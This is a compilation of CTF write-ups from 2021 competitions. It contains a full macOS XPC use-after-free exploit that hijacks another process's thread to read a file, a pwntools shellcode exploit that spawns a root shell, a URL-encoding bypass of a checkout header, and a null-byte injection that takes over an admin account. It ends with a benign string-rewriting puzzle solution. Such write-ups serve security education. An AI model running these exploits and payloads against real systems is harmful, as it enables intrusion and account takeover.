YzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::ow7r5VJMGfSf0odNKxzBpUtSJdj8gHdt+Z7Xu54MAdsnUParSjrtRI4yJYzcW4toOFmDdSs5SERR289yohYI5hHSWLElv/44O+g4M08F5qpwCmOp5otW32qRG1RnhqR95evH44nOyK24UnpvWlebNwVhniSu4A7znjluGRrao/U=::"}\x06\x06\x06\x06\x06\x06')recv: b'f54X7LW1ERp7BvsWf4ygiKhZJSl3LKN40NJXGuO8u7x8QndiHizV5pr+QB4ybsWF9yU8DR2WD9I+Z/N7uhl/M3Iw+uxjyVVU1Mr20/rb+6o=\n'decrypted: b'{"cmd": 1, "data": "CTF{n0w_u_kn0w_h0w_n0t_t0_l1c3n53_ur_b0t}\\n"}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'```
|
? Sandbox Share================
Solution--------
The detailed complete solution can be found on [Synacktiv blog](https://www.synacktiv.com/publications/macos-xpc-exploitation-sandbox-share-case-study.html).
Exploit code------------
The code is not really clean but hey, it's a CTF solution :)
```objc#import <Cocoa/Cocoa.h>#include <stdio.h>#include <string.h>#include <stdlib.h>#include <errno.h>#include <sys/mman.h>#include <xpc/xpc.h>#include <mach/mach.h>#include <mach/mach_vm.h>#include <dlfcn.h>
#define EBFE ((uint8_t[]){0xeb, 0xfe})
#define NB_ENTRIES 200#define OBJECT_STRING_SIZE 0x220#define STRING_OBJECT_SIZE 48#define DATA_PREFIX_SIZE 0x40
#define CHECK(op) \ do { \ kern_return_t __kern_return_value = op; \ if(__kern_return_value != KERN_SUCCESS) { \ printf("[-] operation \"%s\" (line %d) FAILED (%d)\n", #op, __LINE__, __kern_return_value); \ return 1; \ } \ } while (0)
#define FIND_GADGET(gadget) \ uint64_t addr_##gadget = (uint64_t)memmem(shared_cache_base, shared_cache_size, gadget, sizeof(gadget)); \ if (addr_##gadget == 0) { \ printf("[-] unable to find %s\n", #gadget); \ return 1; \ } \ printf("[+] gadget %s: %llX\n", #gadget, addr_##gadget);
extern char **environ;
// ------------------ imports ------------------// These XPC functions are private for some reason... // But Linus helped us out ;)
// write mach ports into xpc dictionariesextern void xpc_dictionary_set_mach_send(xpc_object_t dictionary, const char* name, mach_port_t port);
// get mach ports from xpc objectsextern mach_port_t xpc_mach_send_get_right(xpc_object_t value);
extern xpc_object_t xpc_mach_send_create(mach_port_t);extern size_t malloc_size(void *);
// ------------------ globals ------------------// #define XPC_SERVICE_NAME "com.alles.sandbox_share"
xpc_connection_t connection;char *client_id = NULL;
// ------------------ code ------------------int register_client(task_port_t task_port) { xpc_object_t message, reply;
message = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_uint64(message, "op", 1); xpc_dictionary_set_mach_send(message, "task", task_port); reply = xpc_connection_send_message_with_reply_sync(connection, message);
if(xpc_dictionary_get_int64(reply, "status")) { const char *error = xpc_dictionary_get_string(reply, "error"); printf("[-] Error register_client: %s\n", error); return -1; }
const char *result = xpc_dictionary_get_string(reply, "client_id"); client_id = calloc(1, 9); strncpy(client_id, result, 9);
return 0;}
uint64_t create_entry(xpc_object_t object, uint64_t token_index, char *UIDs) { xpc_object_t message, reply;
message = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_uint64(message, "op", 2); xpc_dictionary_set_string(message, "client_id", client_id); xpc_dictionary_set_value(message, "data", object); xpc_dictionary_set_string(message, "UIDs", UIDs); xpc_dictionary_set_uint64(message, "token_index", token_index); reply = xpc_connection_send_message_with_reply_sync(connection, message); // printf("create_entry reply: \n%s\n", xpc_copy_description(reply));
if(xpc_dictionary_get_int64(reply, "status") != 0) { const char *error = xpc_dictionary_get_string(reply, "error"); printf("[-] Error create_entry: %s\n", error); return -1; }
return xpc_dictionary_get_uint64(reply, "index");}
xpc_object_t get_entry(uint64_t index) { xpc_object_t message, reply;
message = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_uint64(message, "op", 3); xpc_dictionary_set_string(message, "client_id", client_id); xpc_dictionary_set_uint64(message, "index", index);
reply = xpc_connection_send_message_with_reply_sync(connection, message); // printf("get_entry reply: \n%s\n", xpc_copy_description(reply));
if(xpc_dictionary_get_int64(reply, "status") != 0) { const char *error = xpc_dictionary_get_string(reply, "error"); printf("[-] Error get_entry: %s\n", error); return (xpc_object_t)-1; }
return xpc_dictionary_get_value(reply, "data");}
int delete_entry(uint64_t index) { xpc_object_t message, reply;
message = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_uint64(message, "op", 4); xpc_dictionary_set_string(message, "client_id", client_id); xpc_dictionary_set_uint64(message, "index", index);
reply = xpc_connection_send_message_with_reply_sync(connection, message);
if(xpc_dictionary_get_int64(reply, "status") != 0) { const char *error = xpc_dictionary_get_string(reply, "error"); printf("[-] Error delete_entry: %s\n", error); return -1; }
return 0;}
uint64_t upload_data() { mach_msg_type_number_t info_out_cnt = TASK_EVENTS_INFO_COUNT; task_events_info_data_t task_events_info = {0}; kern_return_t kr = -1; xpc_object_t data;
kr = task_info(mach_task_self_, TASK_EVENTS_INFO, (task_info_t)&task_events_info, &info_out_cnt); if(kr != KERN_SUCCESS) { printf("[-] Failed to get task info! \nError (%d): %s\n", kr, mach_error_string(kr)); return (uint64_t)-1; } data = xpc_data_create(&task_events_info, sizeof(task_events_info_data_t)); return create_entry(data, 1, "0");}
struct dyld_cache_header{ char magic[16]; // e.g. "dyld_v0 ppc" uint32_t mappingOffset; // file offset to first dyld_cache_mapping_info uint32_t mappingCount; // number of dyld_cache_mapping_info entries uint32_t imagesOffset; // file offset to first dyld_cache_image_info uint32_t imagesCount; // number of dyld_cache_image_info entries uint64_t dyldBaseAddress; // base address of dyld when cache was built uint64_t codeSignatureOffset; // file offset of code signature blob uint64_t codeSignatureSize; // size of code signature blob (zero means to end of file) uint64_t slideInfoOffset; // file offset of kernel slid info uint64_t slideInfoSize; // size of kernel slid info};
struct dyld_cache_mapping_info { uint64_t address; uint64_t size; uint64_t fileOffset; uint32_t maxProt; uint32_t initProt;};
void *find_shared_cache_code_base(uint64_t *mapping_size) { mach_vm_address_t address = 0;
while (1) { mach_vm_size_t size = 0; vm_region_submap_info_data_64_t info; uint32_t depth = 0; mach_msg_type_number_t count = VM_REGION_SUBMAP_INFO_COUNT_64; kern_return_t ret = mach_vm_region_recurse(mach_task_self(), &address, &size, &depth, (vm_region_recurse_info_t)&info, &count); if (ret != KERN_SUCCESS) break; address += size; if (! info.is_submap) continue; count = VM_REGION_SUBMAP_INFO_COUNT_64; mach_vm_size_t sub_size = 0; mach_vm_address_t sub_address = address - size; depth = 1; ret = mach_vm_region_recurse(mach_task_self(), &sub_address, &sub_size, &depth, (vm_region_recurse_info_t)&info, &count); if (ret != KERN_SUCCESS) break;
if (memcmp((void *)sub_address, "dyld_v1", 7) != 0) continue; struct dyld_cache_header *cache = (void *)sub_address; struct dyld_cache_mapping_info *mapping_info = (void *)(sub_address + cache->mappingOffset); *mapping_size = mapping_info->size; return (void *)sub_address; } return NULL;}
int main (int argc, const char * argv[]) { uint64_t index;
const char *service_name = argv[1]; printf("[i] Using service: %s\n", service_name);
connection = xpc_connection_create_mach_service(service_name, NULL, 0); if (connection == NULL) { printf("[-] ERROR: cannot create connection\n"); exit(1); }
printf("[+] Connected to: %s\n", service_name);
xpc_connection_set_event_handler(connection, ^(xpc_object_t response) { xpc_type_t t = xpc_get_type(response); if (t == XPC_TYPE_ERROR){ printf("[-] ERROR: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION)); exit(-1); } }); xpc_connection_resume(connection); puts("[+] Event handler registered!");
if (argc == 2) { register_client(mach_task_self_); printf("[+] Got client_id: %s\n", client_id);
// first let's clean the heap by creating a LOT of tiny allocations xpc_object_t data = xpc_dictionary_create(NULL, NULL, 0); for (uint32_t i = 0; i < 100000; i++) xpc_connection_send_message(connection, data);
// now the heap should be "clean"... // let's create our UAF object // we will use a string as the container is alloc BEFORE the object uint64_t entry_id = 0;
char object_string[OBJECT_STRING_SIZE]; memset(object_string, 'C', OBJECT_STRING_SIZE); object_string[OBJECT_STRING_SIZE - 1] = 0;
// create few entries to empty the caches..
for (uint32_t i = 0; i < 100; i++) create_entry(xpc_string_create(object_string), 7, "0");
// create the victim entry char uid_str[20]; snprintf(uid_str, sizeof(uid_str), "%d", getuid()); entry_id = create_entry(xpc_string_create(object_string), 1, uid_str); printf("[+] Got entry: %lld\n", entry_id); char entry_str[20]; snprintf(entry_str, sizeof(entry_str), "%lld", entry_id);
// alloc some data after to close the holes... for (uint32_t i = 0; i < 10; i++) { xpc_connection_send_message(connection, data); }
const char *new_argv[] = {argv[0], argv[1], client_id, entry_str, NULL}; execve(new_argv[0], (char *const *)new_argv, environ); return 0; } else { uint64_t entry_id = (uint64_t)atoll(argv[3]); client_id = (char *)argv[2]; printf("[+] In execve'd process\n"); printf("[+] Got client_id: %s\n", client_id); printf("[+] Got entry %llu\n", entry_id);
// register a new client... register_client(mach_task_self_); const char *new_client_id = client_id;
// create and free a few entries to make some room for our future allocations uint64_t entries[NB_ENTRIES]; for (uint32_t i = 0; i < NB_ENTRIES; i++) entries[i] = create_entry(xpc_data_create("DATA", 4), 1, "0");
for (uint32_t i = 0; i < NB_ENTRIES; i++) delete_entry(entries[i]);
// trigger the first free client_id = (char *)argv[2]; delete_entry(entry_id);
// try to reuse with data... client_id = (char *)new_client_id; uint8_t reuse_data[(STRING_OBJECT_SIZE+OBJECT_STRING_SIZE-DATA_PREFIX_SIZE)]; memset(reuse_data, 'C', sizeof(reuse_data)); xpc_object_t send_right = xpc_mach_send_create(mach_task_self()); memcpy(&reuse_data[OBJECT_STRING_SIZE-DATA_PREFIX_SIZE], send_right, malloc_size(send_right));
if (malloc_size(send_right) > STRING_OBJECT_SIZE) { printf("[-] send right too big!"); return 1; }
memcpy(&reuse_data[OBJECT_STRING_SIZE-DATA_PREFIX_SIZE], send_right, malloc_size(send_right));
for (uint32_t i = 0 ; i < NB_ENTRIES; i++) entries[i] = create_entry(xpc_data_create(reuse_data, sizeof(reuse_data)), 7, "0");
// trigger the second free // client_id = (char *)argv[2]; // exploit(entry_id);
client_id = (char *)new_client_id; xpc_object_t uaf_object = get_entry(entry_id); if (uaf_object == (xpc_object_t)-1) { printf("[-] get_entry FAILED\n"); return 1; } const char *desc = xpc_copy_description(uaf_object); printf("[+] reused entry: %s\n", desc);
mach_port_t server_port = xpc_mach_send_get_right(uaf_object); mach_port_name_array_t names; mach_port_type_array_t types; mach_msg_type_number_t count;
CHECK(mach_port_names(server_port, &names, &count, &types, &count)); mach_port_t victim_port = MACH_PORT_NULL; for (uint32_t i = 0; i < count; i++) { if ((types[i] == MACH_PORT_TYPE_SEND) && (names[i] != mach_task_self())) { mach_port_t port; mach_msg_type_name_t right_type; CHECK(mach_port_extract_right(server_port, names[i], MACH_MSG_TYPE_COPY_SEND, &port, &right_type));
natural_t port_type; mach_vm_address_t object_addr; CHECK(mach_port_kobject(mach_task_self(), port, &port_type, &object_addr)); if (port_type == 2) { pid_t pid; CHECK(pid_for_task(port, &pid)); if (pid != getpid()) { if (victim_port != MACH_PORT_NULL) printf("[-] Found more than one victim oO\n"); victim_port = port; printf("[+] Found a victim: %d\n", pid); } }
} }
if (victim_port == MACH_PORT_NULL) { printf("[-] unable to find victim :/\n"); return 1; }
thread_act_array_t threads; uint nb_threads; CHECK(task_threads(victim_port, &threads, &nb_threads));
uint64_t shared_cache_size; void *shared_cache_base = find_shared_cache_code_base(&shared_cache_size); FIND_GADGET(EBFE);
mach_port_t thread = threads[0]; x86_thread_state64_t state; mach_msg_type_number_t stateCnt = x86_THREAD_STATE64_COUNT;
CHECK(thread_suspend(thread)); CHECK(thread_abort(thread));
CHECK(thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &stateCnt));
state.__rsp = (state.__rsp & ~0xFFFull) - 0x8; // keep the stack aligned... CHECK(mach_vm_write(victim_port, (vm_address_t)state.__rsp, (vm_address_t)&addr_EBFE, sizeof(addr_EBFE)));
CHECK(mach_vm_write(victim_port, (vm_address_t)state.__rsp + 8, (vm_address_t)"/etc/flag", 10)); // RDI, RSI, RDX, RCX, R8, R9 state.__rdi = state.__rsp + 8; state.__rsi = O_RDONLY; state.__rip = (uint64_t)dlsym(RTLD_DEFAULT, "open"); CHECK(thread_set_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, x86_THREAD_STATE64_COUNT)); CHECK(thread_resume(thread)); do { usleep(1000); CHECK(thread_suspend(thread)); CHECK(thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &stateCnt)); if (state.__rip == addr_EBFE) break; } while (1); state.__rsp -= 8;
printf("[+] fd: %llX\n", state.__rax); state.__rdi = state.__rax; state.__rsi = state.__rsp + 8; state.__rdx = 1024; state.__rip = (uint64_t)dlsym(RTLD_DEFAULT, "read"); CHECK(thread_set_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, x86_THREAD_STATE64_COUNT)); CHECK(thread_resume(thread)); do { usleep(1000); CHECK(thread_suspend(thread)); CHECK(thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &stateCnt)); if (state.__rip == addr_EBFE) break; } while (1); state.__rsp -= 8;
size_t flag_len = state.__rax; char flag[flag_len + 1];
mach_vm_size_t read_size; CHECK(mach_vm_read_overwrite(victim_port, (vm_address_t)state.__rsp + 8, flag_len, (mach_vm_address_t)&flag, &read_size));
if (flag[flag_len-1] == '\n') flag[flag_len-1] = 0; else flag[flag_len] = 0;
printf("[+] flag: \"%s\"\n", flag); }
xpc_release(connection); return 0;}``` |
**Official Writeup**
**tl;dr**
+ `/source` to get the source+ Access local host from `dev_test` using SSRF+ SQLI to get the flag path a nd LFI to get the flag
Link to the writeup: https://blog.bi0s.in/2021/08/15/Web/Vuln-Drive-InCTF-Internationals-2021/
Author: [Rohit](https://twitter.com/RohitNarayana11), [Skad00.sh](https://twitter.com/RahulSundar8), [Malf0y](https://twitter.com/mal_f0y), [Careless_finch](https://twitter.com/careless_finch) |
[original writeup](https://github.com/vichhika/CTF-Writeup/tree/main/GrabCON%20CTF%202021/OSINT/Website)(https://github.com/vichhika/CTF-Writeup/tree/main/GrabCON%20CTF%202021/OSINT/Website). |
## Jumpy
> Points: 136>> Solves: 82
### Description:
### Attachments:```jumpy https://static.allesctf.net/ab1671dfdbc9923949d2dbc2bf1ff66006f86bb623cd9b2cbf94ce3f631dfbdd/jumpyjumpy.c https://static.allesctf.net/e8f31b0fc631eb709049df0d42491ddca1562a016474c10fdb03cf66f58113c8/jumpy.c```
## Analysis:
The C language source code is provided below.https://github.com/mito753/CTF/blob/main/2021/ALLES!_CTF_2021/Pwn_Jumpy/jumpy.c
When we execute the jumpy program, we can see that only 3 instructions can be specified.```supported insns:- moveax $imm32- jmp $imm8- ret- (EOF)```
After the jmp instruction, it is checked if the next instruction is `moveax` or `jmp` or `ret`.
```cconst instruction_t INSNS[3] = { {"ret", OP_RET}, {"jmp", OP_SHORT_JMP}, {"moveax", OP_MOV_EAX_IMM32},};
const instruction_t *isns_by_mnemonic(char *mnemonic){ for (int i = 0; i < sizeof(INSNS) / sizeof(INSNS[0]); i++) if (!strcmp(mnemonic, INSNS[i].mnemonic)) return &INSNS[i]; return NULL;}```
## Solution:
Since there is no instruction check after `moveax`, I can execute any 4-byte instructions by made the following instruction sequence.```jmp 1moveax 0xb8moveax (Arbitrary 4-byte instructions)`````` mov eax +-----------+ | | eb 01 b8 b8 00 00 00 b8 xx xx xx xx| ^| |+---------+ jmp 1
```
Since "/bin/sh" has 4 bytes or more and the mmap area (0x1337000000) cannot be written, the character string of "/bin/sh" was made on the stack.```mov bx, 0x68shl rbx, 16mov bx, 0x732fshl rbx, 16mov bx, 0x6e69shl rbx, 16mov bx, 0x622fpush rbx; mov rdi, rsp```
## Exploit code:```pythonfrom pwn import *
context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './jumpy'elf = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r': s = process("ncat --ssl 7b000000d136daaf77c18b37-jumpy.challenge.master.allesctf.net 31337", shell=True)else: s = process(BINARY) def Set_ins(data): s.sendlineafter("> ", "jmp 1") s.sendlineafter("> ", "moveax 184") s.sendlineafter("> ", "moveax " + str(u32(data)))
# rsi = 0; rdx = 0Set_ins(asm('''xor rsi, rsi; nop'''))Set_ins(asm('''push rsi; pop rdx; nop; nop'''))
# make /bin/sh in stackSet_ins(asm('''mov bx, 0x68'''))Set_ins(asm('''shl rbx, 16'''))Set_ins(asm('''mov bx, 0x732f'''))Set_ins(asm('''shl rbx, 16'''))Set_ins(asm('''mov bx, 0x6e69'''))Set_ins(asm('''shl rbx, 16'''))Set_ins(asm('''mov bx, 0x622f'''))Set_ins(asm('''push rbx; mov rdi, rsp'''))
# rax = 0x3b# syscallSet_ins(asm('''xor rbx, rbx; nop'''))Set_ins(asm('''add rbx, 0x3b'''))Set_ins(asm('''push rbx; pop rax; syscall'''))
# Start shells.sendlineafter("> ", "a")
s.interactive()```
## Results:```bashmito@ubuntu:~/CTF/ALLES!_CTF_2021/Pwn_Jumpy$ python solve.py r[*] '/home/mito/CTF/ALLES!_CTF_2021/Pwn_Jumpy/jumpy' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Starting local process '/bin/sh': pid 62372[*] Switching to interactive mode
running your code...$ iduid=0(root) gid=0(root) groups=0(root)$ ls -ltotal 92lrwxrwxrwx 1 root root 7 Aug 27 07:16 bin -> usr/bindrwxr-xr-x 2 root root 4096 Apr 15 2020 bootdrwxr-xr-x 5 root root 360 Sep 4 08:08 devdrwxr-xr-x 1 root root 4096 Sep 4 08:08 etc-rw-r--r-- 1 root root 100 Aug 29 22:12 flagdrwxr-xr-x 2 root root 4096 Apr 15 2020 home-rwxr-xr-x 1 root root 19768 Aug 29 22:12 jumpylrwxrwxrwx 1 root root 7 Aug 27 07:16 lib -> usr/liblrwxrwxrwx 1 root root 9 Aug 27 07:16 lib32 -> usr/lib32lrwxrwxrwx 1 root root 9 Aug 27 07:16 lib64 -> usr/lib64lrwxrwxrwx 1 root root 10 Aug 27 07:16 libx32 -> usr/libx32drwxr-xr-x 2 root root 4096 Aug 27 07:16 mediadrwxr-xr-x 2 root root 4096 Aug 27 07:16 mntdrwxr-xr-x 2 root root 4096 Aug 27 07:16 optdr-xr-xr-x 783 root root 0 Sep 4 08:08 procdrwx------ 2 root root 4096 Aug 27 07:27 rootdrwxr-xr-x 5 root root 4096 Aug 27 07:27 runlrwxrwxrwx 1 root root 8 Aug 27 07:16 sbin -> usr/sbindrwxr-xr-x 2 root root 4096 Aug 27 07:16 srvdr-xr-xr-x 13 root root 0 Sep 4 08:08 sysdrwxrwxrwt 2 root root 4096 Aug 27 07:27 tmpdrwxr-xr-x 13 root root 4096 Aug 27 07:16 usrdrwxr-xr-x 11 root root 4096 Aug 27 07:27 var-rwxr-xr-x 1 root root 18744 Aug 29 22:12 ynetd$ cat flagALLES!{people have probably done this before but my google foo is weak. segmented shellcode maybe?}``` |
# Gpushop
desecription: Hey kid, wanna buy some gpus?Attachment: https://bit.ly/3jOft6uChallenge_Link: http://gpushop.2021.ctfcompetition.com , https://paymeflare-web.2021.ctfcompetition.com/
# Source_CodeBy looking the Source Code, We knew that website is using the nginx server and Laravel-php-framework version.
# Get_Hint
I am looking source code trying some sql attacks. And i go back to challenge page. and decide to look closer to another web page.It was paymeflare. In the Documentation (https://paymeflare-web.2021.ctfcompetition.com/doc), It was explain that how the challenge website is working and what happen when we buy or checkout something from products.
# Key PointReading the lines, i understood. As he said "Any request with a path matching (/checkout) will have an (X-Wallet header) added with the (payment address)."Remember that when we checkout the product, the website ask us to add our address.So that mean when we checkout the product, there will be a (X-Wallet header) with the (payment address).So our goal is to find the way how we can get rid of this header. But the problem is every time when you check out the product, there will be (X-Wallet header with address.)
# Thinking about solutionTo solve this problem, we need to change the url path. So i tried with many things like changing the (/cart/checkout) to (/carT/CHECKOUT). But failed.After testing while, i knew that we can only change the (/checkout) not (/cart). After while my good friend told me to try with (url encoding). So I tried. and Got success
# Final_SolutionI encoded the (checkout) to url (%63%68%65%63%6b%6f%75%74). and I send this request. I Check my order, And There is a flag. Awesome! Really Nice challenge.
# Get_Flag RequestPOST /cart/%63%68%65%63%6b%6f%75%74 HTTP/1.1Host: gpushop.2021.ctfcompetition.com
# FlagCTF{fdc990bd13fa3a0e760a14b560dd658c}
# SorryI can't post and upload image here right now because of my github problems. Please Forgive me. I will try my best to put image here. |
#Disclaimer: I didn't slove this Challenge during the CTF is live. But i am so close to solve. So i write this Writeup.
Challenge_Name: Null Food Factory. Description: Prove your hacking skill to get admin panel. Author: r3curs1v3_pr0xy
# Sql (not worked at all)i tried all the payload. But not work.
# Try to identify what attack (get help)I saw the (interesting message) in (GrabCon_CTF) discord chat.It was ("When i excute the %00, It was output some crazy codes"). So i knew that it can be (null byte injection). (I Stopped on this when the CTF is really live. Because I Didn't get much time to find good resources during the ctf is live. So that i can't solved the challenge.)
# Finding_Resourceshttps://www.whitehatsec.com/glossary/content/null-byte-injection
# Note_For_SolutionWe can register the account. So we can excute the our injection in register input box.And Remember the (Description). We only need to get admin account.
# Final_SolutionWe can fill anything in (first name and last name).We will put our (injection code) in (Username form). Payload = "admin%00"And we can set anything in (password Form). And When we register, The Website Return the text "Admin Password Has been updated to ic8aGsk^bh"So now we can login as (admin). Username = admin and Password = ic8aGsk^bh. When we login, We got flag.
# Flag: GrabCON{Null_byt3s_1s_L0v3}
# #Disclaimer: I didn't slove this Challenge during the CTF is live. But i am so close to solve that Challenge. So i write this Writeup. |
## Task```diffits time to get funky and maotiply
This interpreter takes a series of string substitutions and executes them on input strings sequentially.
Please enter your substitution rules in sequential order, one per line. Terminate your rules sequence with the string 'EOF'. DO NOT SEND AN ACTUAL EOF.
The rule format is SEARCH:REPLACE. A double colon (SEARCH::REPLACE) can be used to create a terminating rule. If a terminating substitution rule is executed, the interpreter will not process any further substitutions.
If SEARCH is an empty string, then REPLACE will be inserted at the beginning of the input string instead.
For further clarification of interepter behavior, feel free to read the source.
For each round, a short description of the intended behavior will be provided. Additionally, several examples will be supplied. Your task is to devise a series of substitutions to accomplish this behavior.
Good luck!```Note. "interepter" is a typo.## General Analysis
In `interpreter.py` we can see how string replacement works. It iterates each rule one by one, **by input order**. Remember, that **order of applying rules is quite important.**
Both `SEARCH` and `REPLACE` can be empty string. This is useful in _Round 1_, and also in other rounds!
## Before You Read
### This writeup is quite long.
- Maybe you can understand the whole logic by reading **Summary** and **Examples** only; so I brought it to the top.- If not, quickly read the bold things of **Drawing the Picture**.- If still not, read everything.- **In any case, I recommend you to copy-paste the answer part and open it at the right;** that's how I wrote this writeup.
Take a deep breath!
Are you ready? Let's go.
## Round 1
### Description```diffRound 1:
Replace (possibly repeated) instances of "strellic" with a single instance of "jsgod".
'strellicstrellicstrellicstrellicstrellicstrellicstrellicstrellic' => 'jsgod'
'strellic' => 'jsgod'
'strellicstrellic' => 'jsgod'
'strellicstrellicstrellicstrellicstrellicstrellicstrellicstrellicstrellic' => 'jsgod'
'strellicstrellicstrellicstrellicstrellicstrellicstrellicstrellic' => 'jsgod'
Constraints: 5 rules, 20 substitutions```### ExplanationWe can make this string empty, by repeating Rule `strellic:`. After that, apply Rule `::jsgod`, which adds `jsgod` in string and terminates.### Answer (2/5 rules, max 11/20 substitutions)```diffstrellic:::jsgodEOF```
## Round 2### Description```diffRound 2:
Perform XOR on the two supplied numbers.
'11010001^1101000' => '10111001'
'10101010^11111100' => '1010110'
'110101^11000011' => '11110110'
'11011110^1111110' => '10100000'
'1001110^10001' => '1011111'
Constraints: 50 rules, 120 substitutions```### ExplanationFor _Round 2_ and _Round 3_, we need to draw a big picture. This stuff is something like _a Turing Machine_. We will use **various characters** so that we can identify the current state by the first rule that match.
#### Summary- `^`: The initial XOR operator. Sends the last digit of `P` as `0^:#a, 1^:#b` - `#`: Alt form of `^`. `#:^` is applied when the digit process is finished.- `%`: Separates `Q` and current answer.- `ab`: The (encrypted?) last digit of `P`.
#### Examples```diff1101000 1^ 11010001101000 #b 1101000 (Rule 1-2)1101000 # 110100 0b (Rule 3-6)1101000 # 110100 %1 (Rule 11-14)110100 0^ 110100 % 1 (Rule 20)110100 # 11010 0a% 1 (Rule 1-6)110100 # 11010 %0 1 (Rule 7-10)110100 ^ 11010 % 01 (Rule 20)...1#% 0111001 (Rule 1-14, 20)#%1 0111001 (Rule 15-16)10111001 (Rule 17, TERMINATED)------------------------------------------------------------110101 ^ 11000011...^ 11 % 110110 (Rule 1-14, 20)* 11 % 110110 (Rule 21)11 *% 110110 (Rule 22-23)11110110 (Rule 24, TERMINATED)------------------------------------------------------------1111 ^ 1111...#% 0000 (Rule 1-14, 20)#% (Rule 17-18)0 (Rule 19, TERMINATED)```
#### Drawing the PictureLet the first number `P`, and second number `Q`. Last digit of `P` should be XORed with last digit of `Q`. So we will **"send" the last digit of `P` to the end of the string**. While sending, **replace them as `0->a, 1->b`**, so that we can distinguish that digit from original digits of `Q`. Also, **change `^` to `#`** and we can know if the "sending process" is in progress.
After that, we will **XOR** the last two. This digit is indeed the last digit of answer, so fix it. But how? **Use character `%` to represent the "done part".** Digits after `%` indicates the last digits of answer.
Now check how the string changes. (Added spaces just for readability; in actual answer I do NOT use spaces)```diff11010001 ^ 11010001101000 #b 11010001101000 # 110100 0b1101000 # 110100 % 1```We do this over and over, by changing `#` to `^`, until:1. `P` is empty (i.e. no `0^` nor `1^`), or1. `Q` is empty (i.e. `#%`), or1. both `P` and `Q` is empty (also `#%`)
```diff11010001 ^ 11010001101000 # 110100 % 1...1 # % 0111001-----------------------110101 ^ 11000011^ 11 % 110110```
For _Case 1_, we replace `^` to `*`, and let `*` meet `%` at the middle. Add terminate rule `*%::` and we are finished.```diff^ 11 % 110110* 11 % 11011011 *% 11011011110110```For _Case 2_ and _Case 3_, we send remaining digits of `P` (if exists). Then, remove some leading zeros. Be careful when the answer is exactly 0, since the final string should be `0`, not the empty string. Hence we need 2 terminate rule: `#%1::1` and `#%::0````diff1 # % 0111001#% 1011100110111001-----------------------#% 0000000#%0```
#### Solution Details##### Rule 1-2: `0^:#a 1^:#b`- Begin the sending process.
##### Rule 3-6: `a0:0a a1:1a b0:0b b1:1b`- Send `a` or `b` to the back of `Q`.
##### Rule 7-10: `0a%:%0 0b%:%1 1a%:%1 1b%:%0`- **Calculate XOR** of last digit of `P` and `Q`, and add it to current answer.- There are 2 groups of this type. Difference is **the existence of `%` in the current string.**- **These rules should come before Rule 11-14**, since their `SEARCH` string, `0a 0b 1a 1b`, is a prefix of these.
##### Rule 11-14: `0a:%0 0b:%1 1a:%1 1b:%0`- Same as **Rule 7-10**. Difference explained above as well.
##### Rule 20: `#:^`- Indicates that the current "wave" is over, and go on for the next digit.- `#%` indicates the wrap-up process. Since `#` is prefix of `#%`, `#%`-related rules should go first. (**Rule 15-19**)
##### Rule 15-16: `0#%:#%0 1#%:#%1`- **Wrap-up process for _Case 2_ and _Case 3_.**- Send remaining digits of `P` to the right, if exists.
##### Rule 17-19: `#%1::1 #%0:#% #%::0`- Remove **leading zeros** of answer. Whenever `#%` meets `1`, remove itself and terminate.- If all the digits are removed and only `#%` left, **the answer is 0.** Replace it to `0` and terminate.
##### Rule 21: `^:*`- **Wrap-up process for _Case 1_.**
##### Rule 22-24: `*0:0* *1:1* *%::`- Move `*` to the right until it meets `%`.- Remove `*%` together and terminate.
### Answer (24/50 rules, max 68/120 substitutions)```diff0^:#a1^:#ba0:0aa1:1ab0:0bb1:1b0a%:%00b%:%11a%:%11b%:%00a:%00b:%11a:%11b:%00#%:#%01#%:#%1#%1::1#%0:#%#%::0#:^^:**0:0**1:1**%::EOF```## Round 3: THE ULTIMATE TASK### Description```diffRound 3:
Perform multiplication on the two provided numbers.
'101011x11000101' => '10000100010111'
'11101000x111111' => '11100100011000'
'11011x101011' => '10010001001'
'1100111x110110' => '1010110111010'
'1111111x11011101' => '110110110100011'
Constraints: 100 rules, 2500 substitutions```### Explanation#### Rule of Thumb: How to _maotiplicate_ two numbersSimple math. We do something like this...```diff 11011x 101011------------ 11011 11011 0 11011 0 11011------------10010001001```
